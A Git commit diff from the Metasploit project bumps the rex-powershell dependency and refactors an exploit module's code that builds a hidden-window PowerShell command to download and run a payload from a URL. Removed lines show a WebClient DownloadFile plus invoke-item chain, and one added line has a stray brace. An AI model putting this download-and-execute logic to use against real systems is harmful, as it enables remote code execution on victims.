Move over to rex-powershell and version bump
Version bump for: - https://github.com/rapid7/rex-powershell/pull/10 - https://github.com/rapid7/rex-powershell/pull/11bug/bundler_fix
parent
accb77d268
commit
1ee590ac07
|
@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
|
|||
# Library for Generating Randomized strings valid as Identifiers such as variable names
|
||||
spec.add_runtime_dependency 'rex-random_identifier'
|
||||
# library for creating Powershell scripts for exploitation purposes
|
||||
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
|
||||
spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
|
||||
# Library for processing and creating Zip compatbile archives
|
||||
spec.add_runtime_dependency 'rex-zip'
|
||||
# Library for parsing offline Windows Registry files
|
||||
|
|
|
@ -149,7 +149,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
if method.include? 'string'
|
||||
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
else
|
||||
# Random filename to use, if there isn't anything set
|
||||
random = "#{rand_text_alphanumeric 8}.exe"
|
||||
|
@ -164,13 +163,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
file = %Q(echo (#{path}+'\\#{filename}'))
|
||||
|
||||
# Generate download PowerShell command
|
||||
#download_string = Rex::Powershell::PshMethods.download(url, "$z") # Can't use, due to single vs double quotes in the URL
|
||||
download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
|
||||
|
||||
# Join PowerShell commands up
|
||||
download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
|
||||
download_string = Rex::Powershell::PshMethods.download_run(url, file})
|
||||
end
|
||||
|
||||
download_and_run = "#{ignore_cert}#{download_string}"
|
||||
|
||||
# Generate main PowerShell command
|
||||
return generate_psh_command_line(noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
|
|
Loading…
Reference in New Issue